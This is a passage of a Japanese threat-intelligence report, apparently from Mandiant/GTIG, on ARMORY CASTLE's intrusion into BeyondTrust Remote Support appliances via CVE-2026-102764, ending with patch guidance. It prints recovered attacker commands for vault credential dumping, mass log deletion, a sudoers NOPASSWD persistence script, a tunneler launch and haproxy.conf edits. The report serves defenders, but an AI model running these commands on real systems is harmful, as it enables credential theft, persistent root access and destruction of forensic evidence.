&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;CVE-2026-102764 の悪用に成功した後、ARMORY CASTLE は &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/app_84304470%2Ephp&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; への POST リクエストを開始しました。Mandiant は、これらの POST リクエストに関連付けられたファイルを復元できませんでした。最初の POST リクエストから約 11 分後に、ウェブ ルートパス &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; に SAWFLY ウェブシェルが作成されたことをファイル システムが記録しています。ARMORY CASTLE は、侵入の過程で、環境内の主要な足がかりの一つとして SAWFLY ウェブシェルを利用していました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SAWFLY ウェブシェル&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;mangoapi.php&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）は、難読化された軽量の PHP ウェブシェルで、カスタムの Base32 トランスポート層と 256 ビットの RC4 ストリーム暗号を使用して、双方向の暗号化された C2 通信を実装します。このウェブシェルは、受信する HTTP POST リクエストで、難読化されたパラメータ &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;_c94mfe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; の有無を確認します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;パラメータが存在しない場合、スクリプトは直ちに HTTP ステータス「404 見つかりません」（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;http_response_code(404)&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）を設定し、自動ウェブクローラや脆弱性スキャナを回避するために終了します。&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;_c94mfe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; パラメータが指定されている場合、ウェブシェルはペイロードを Base32 でデコードし、ハードコードされた 32 バイトの鍵を使用して RC4 で復号してから、結果の PHP コードを &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@eval()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; で実行します。評価されたコードから返される null 以外の値は、同じ鍵を使って RC4 で暗号化され、Base32 でエンコードされて、クライアントにエコーバックされます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;SUID ビット権限による権限昇格&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;SAWFLY ウェブシェルは、サイトのサービス アカウント（権限のないローカル ユーザー）で実行されました。脅威アクターは、権限を昇格させるために、システムシェルの実行可能ファイル（&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/bin/sh&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）をファイル &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/usr/bin/dbus-authd&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; にコピーしました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;その後、脅威アクターはファイルの所有権を root に変更し、Set User ID（SUID）ビットを設定しました。バイナリで SUID 権限が有効になっている場合、コマンドを実行するユーザーではなく、ファイルの所有者（root）の権限で実行されるため、結果的に、ホストシステムへの永続的な root レベルのバックドア アクセスが脅威アクターに許可されました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ウェブシェルを介して足がかりを確立した後、アクターはウェブ サービス アカウントからアプライアンス ホストの root レベルの制御に昇格しました。これにより、アプライアンスが保存または仲介するすべての認証情報にアクセスし、ファイルを変更できるようになりました。これは、再起動や構成のリセット後も維持されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;認証情報の収集: BeyondTrust Vault の抽出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターがアプライアンスのネイティブ シークレット管理データベースから認証情報を直接収集しようと試みていたことを確認しました。アクターはその際に &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/sbin/bt-secrets&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; バイナリを利用していました。これは、BeyondTrust アプライアンスにネイティブの独自の管理コマンドライン インターフェース（CLI）ユーティリティであり、パスワード、API キー、エンドポイント認証情報の管理、保存、取得に使用されているものです。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは、アプライアンスの認証情報 Vault を特定してダンプするために、いくつかの CLI 構文のバリエーションを体系的に繰り返していました。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 2: メッセージ ログから復元されたコマンド&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは最初に、特定のサイトのサービス アカウント用 Vault を標的にして、そのプロファイル専用に割り当てられたパスワードと鍵を取得しようとしました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;次に、フォールバック コマンドを実行して、グローバルなアプライアンス レベルのパスワード セーフを標的にして、保存されている管理者の認証情報をすべてダンプしました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;そして、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home/bomgar/log/bt-secrets.log&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; に保存されたレコードとアーカイブ ファイルを強制的に削除して、bt-secrets バイナリとのやり取りを終了しました。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2&amp;gt;/dev/null;'&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 3: メッセージ ログから復元されたコマンド&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;永続性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターが長期的な永続アクセスを目的として、BeyondTrust 構成テンプレートを標的にし、サイトのサービス アカウントにパスワードなしの root 権限を付与したことを確認しました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは最初に &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/home/bomgar/sbin/post_boot.d&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ディレクトリを作成しました。このディレクトリは、システム起動時に自動的に実行されるスクリプト用に予約されているものです。このディレクトリ内に、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;zz-root-persist&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; という名前のシェル スクリプトを作成しました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;zz-root-persist&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; スクリプトの内容を見ると、まず &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/sudoers.template&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイル内で、ユーザー アカウントにパスワードなしの root 権限がすでに付与されているかどうかを確認しています。エントリがない場合、スクリプトは &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;'%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL'&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; をテンプレートに追加します。sudoers テンプレートに追加されたこのエントリにより、サイトのユーザー アカウントに、ホストシステムで任意のコマンドを実行するためのパスワードなしの管理者権限が付与されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;最後に、スクリプトは &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;'/ns/sbin/bt-sysconfig' --no-restart misc&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を実行します。これは、アプライアンスのバックエンドに、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/sudoers.template&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を直ちに解析して、アクティブな &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/etc/sudoers&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルを再構築するよう強制するものです。この戦略により、脅威アクターの権限昇格は、システムの再起動や構成のリセット後も維持されます。通常、システムの再起動や構成のリセットを行うと、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/etc/sudoers&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; に直接加えられた手動の変更は上書きされます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' &amp;gt;&amp;gt; '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 4: zz-root-persist の内容&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;フォレンジック対策&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターがアプライアンスへの不正アクセスを通じて、システム、ウェブサーバー、アプリケーション レベルのログを体系的に削除することで、防御を損ない、検出を妨げようとした複数のケースを確認しました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは、SAWFLY ウェブシェルから、昇格した sudo 権限を使用して次のコマンドを実行し、ホストとサイト固有のディレクトリの両方でアクティビティ ログを削除しました。&lt;/span&gt;&lt;/p&gt;
&lt;pre class="language-markup"&gt;&lt;code&gt;'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 5: 復元されたコマンド&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;ラテラル ムーブメント: BeyondTrust 管理者セッションの不正使用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは、BeyondTrust デバイスを侵害した後、BeyondTrust Remote Support アプリケーションにピボットし、不正に入手した管理者の認証情報を使用して偵察を行いました。脅威アクターはまず、管理者アカウントを利用してウェブ管理ポータルにログインしました。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 6: BeyondTrust Syslog エントリ&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターはその後、初期アクセスをテストし、ネイティブの Administrators グループ ポリシーに一時的に参加できることを確認した後、長期的な永続化のために戦略を変更しました。アクターは、侵害したアカウントの権限を直接変更し、ローカルの Jump Item とチームの権限の両方を「&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;No Access&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;」から「&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Administrator&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;」にアップグレードしました。Jump Item は、Jump Group 内でリモート アクセスを可能にした個々のシステムまたはデバイスであり、管理者がリモート システムへのアクセスを整理、管理できるようにするものです。この構成の変更により、脅威アクターは、アプライアンスの Jump Item リストに登録されているダウンストリーム システムへのリモート セッションを起動する、永続的かつ無制限の権限を取得しました。&lt;/span&gt;&lt;/p&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline; color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 7: BeyondTrust Syslog エントリ&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;内部偵察&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターが昇格した管理者権限を取得した後、リモート サポート セッションを確立して、内部エンドポイントを標的にしたことを確認しました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;接続が確立されると、脅威アクターはアプライアンスに組み込まれているサポートツールを利用して、ファイル システムへのフルアクセスをリクエストし、取得しました。その後、BeyondTrust Remote Support のネイティブ ファイル転送サービスを利用して、ソフトウェア インベントリなど、ネットワーク偵察に役立つ機密性の高い内部ドキュメントをユーザーのデスクトップ環境から直接ダウンロードして引き出しました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;BARECLAW トンネラー&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターがカスタム SOCKS5 プロキシ トンネラーを使用して、BeyondTrust デバイスを通過するトラフィックをトンネリングしたことを確認しました。BARECLAW は C 言語で記述されたトンネラーであり、WebSocket トランスポートを介して運ばれる SOCKS5 プロキシ サービスを提供し、リモート クライアントと宛先間の TCP 接続を中継します。BARECLAW は、静的に埋め込まれた CivetWeb WebServer を利用して HTTP と WebSocket の機能を提供し、TLS に OpenSSL を利用します。BARECLAW は構成可能で、認証を必須とすること、クライアントとトンネラー間のデータを暗号化すること、到達可能な宛先を特定の CIDR の範囲に制限すること、トラフィックをアップストリーム プロキシに転送すること、そしてデフォルトの WebSocket エンドポイントとリスニング ポートを変更することが可能です。TLS は PEM 証明書を提供することで有効になります。認証、暗号化、宛先フィルタリング、TLS はデフォルトで無効になっています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BARECLAW は CLI 入力から構成を受け取り、CLI オプション メニューを提供します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 8: BARECLAW の CLI オプション メニュー&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;脅威アクターは、次のコマンドライン引数を使用して BARECLAW を実行しました。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 9: BARECLAW の全コマンドライン引数&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このコマンドラインは、TCP ポート 19800 でリッスンし、被害者のシステムに WebSocket エンドポイント &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/uidchanarge&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を作成するよう BARECLAW を構成しています。また、コマンドライン引数で指定するトークンを認証に使用することをクライアントに求め、-q 引数でトンネラーのロギングを抑制しています。トンネリングされたデータは、そのトークンと、セッションの開始時にクライアントから提供された 8 バイトの値から導出された XOR ベースのルーチンで暗号化されます。CLI オプションに --ssl-cert と --listen-tls の引数がないということは、この特定のインスタンスで TLS が有効になっていなかったことを意味します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Haproxy.conf の変更&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Mandiant は、脅威アクターが BARECLAW トンネラーを作成しただけでなく、BARECLAW にインターネットから直接アクセスできるように &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/ns/config/haproxy.conf&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルを変更したことも確認しました。BeyondTrust デバイスで動作する HAProxy サービスは、デバイスのリバース プロキシとして機能し、BeyondTrust サーバーに代わって受信リクエストを受け入れ、リクエストのポートまたは URL パスに基づいて、ローカル システムで実行されている適切なバックエンド サービス（ウェブ インターフェース、管理ポータル、アプリケーション ゲートウェイなど）にリクエストを転送するものです。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code style="vertical-align: baseline;"&gt;haproxy.conf&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; ファイルは、BeyondTrust アプライアンスが受信トラフィックを処理、ルーティング、保護する方法を指示する、主要な構成ファイルです。脅威アクターが変更した内容として、まず、特定の URI パス &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;/uidchanarge&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; への受信トラフィックをモニタリングする、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;wswsws&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; という名前のアクセス制御リスト（ACL）が確立されました。このパスに一致するリクエストが検出されると、HAProxy は通常のアプライアンス ウェブサービスをバイパスし、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;webskd3&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; というカスタム バックエンドにトラフィックをルーティングします。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 10: haproxy.conf における ACL の変更&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;次に、&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;webskd3&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; バックエンドが、受信したウェブ ストリームをローカル（127.0.0.1 / localhost）で TCP ポート 19800 にルーティングします。このポートでは、BARECLAW ユーティリティがアクティブにリッスンしています。このローカル専用バインディングにより、バックドア リスナーは HAProxy のローカル リダイレクトを介して内部からのみアクセスできるため、外部ネットワーク スキャンから完全に隠蔽されます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;図 11: haproxy.conf におけるバックエンド ルートの変更&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;アトリビューション&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG は、CVE-2026-102764 のゼロデイ攻撃と、それに続く SAWFLY および BARECLAW のデプロイを、中国との関連が疑われるサイバースパイ アクター ARMORY CASTLE（以前は UNC5221 として追跡）によるものと特定しています。この侵入で使用されたツールと TTP は、以前に確認された ARMORY CASTLE の活動と一致しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG は以前、ARMORY CASTLE がエッジ アプライアンスの複数の脆弱性を悪用し、パッシブ バックドアやウェブシェルからエッジデバイスのトロイの木馬化されたコンポーネントまで、目的をサポートする広範なカスタムツールのスイートをデプロイしていることを&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-exploiting-critical-ivanti-vulnerability?e=0"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;報告&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;しました。ARMORY CASTLE は 2023 年 10 月から活動しており、これまでにさまざまな国や業種を標的にしてきました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;見通しと影響&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ARMORY CASTLE は、過去のキャンペーンで、ゼロデイとして選択的に悪用していた脆弱性が公表された後、それを広範囲にわたって日和見的に悪用し、パッチが適用される前に標的組織に侵入しようとしました。そのため、CVE-2026-102764 に関しても、同様の広範な悪用の試みが確認される可能性があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GTIG は、ARMORY CASTLE がサイバースパイの目的を達成するために、今後もエッジデバイスのゼロデイ脆弱性を利用して環境へのアクセスを獲得し続けると高い確信を持って評価しています。防御側は、CVE-2026-102764 の公表後にも、2024 年の CVE-2023-46805 と CVE-2024-21887 の公表後に GTIG が&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;確認&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;したものと同様の広範な悪用を ARMORY CASTLE が行う可能性に備える必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;修復とセキュリティ強化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BT26-05 パッチ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をまだ適用していない組織は、直ちに影響とリスクを評価し、BeyondTrust の&lt;/span&gt;&lt;a href="https://www.beyondtrust.com/blog/entry/bt26-05" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ブログ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に記載されている追加のガイダンスを確認する必要があります。CVE-2026-102764 は、サポートされているすべての Remote Support バージョン（26.2.3 まで）に影響します。認証されていないリモート攻撃者がアプライアンス上でファイル操作を実行できるため、ホストレベルの制御や、アプライアンスが保存または仲介するすべての認証情報へのアクセスにつながる可能性があります。脆弱性のあるバージョンで、悪用が可能な期間中にインターネットからアクセス可能だったアプライアンスは、確認が完了するまで、侵害された可能性があるものとして扱う必要があります。Mandiant は、封じ込めとサポート対応の中断のバランスを取りながら、パッチ適用を優先する段階的なアプローチを推奨しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;即時の緩和&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;組織は、リスク許容度、侵害の証拠、運用上のニーズに基づいて、次のオプションから選択する必要があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;オプション 1: BT26-05 パッチを適用する（Mandiant 推奨）&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Remote Support SaaS&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 2026 年 10 月 9 日に、BeyondTrust がすべての SaaS テナントにパッチを適用済みです。アプライアンス自体について、お客様による対応は必要ありません。ただし、オプション 3 の認証情報と構成の手順は依然必要です。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
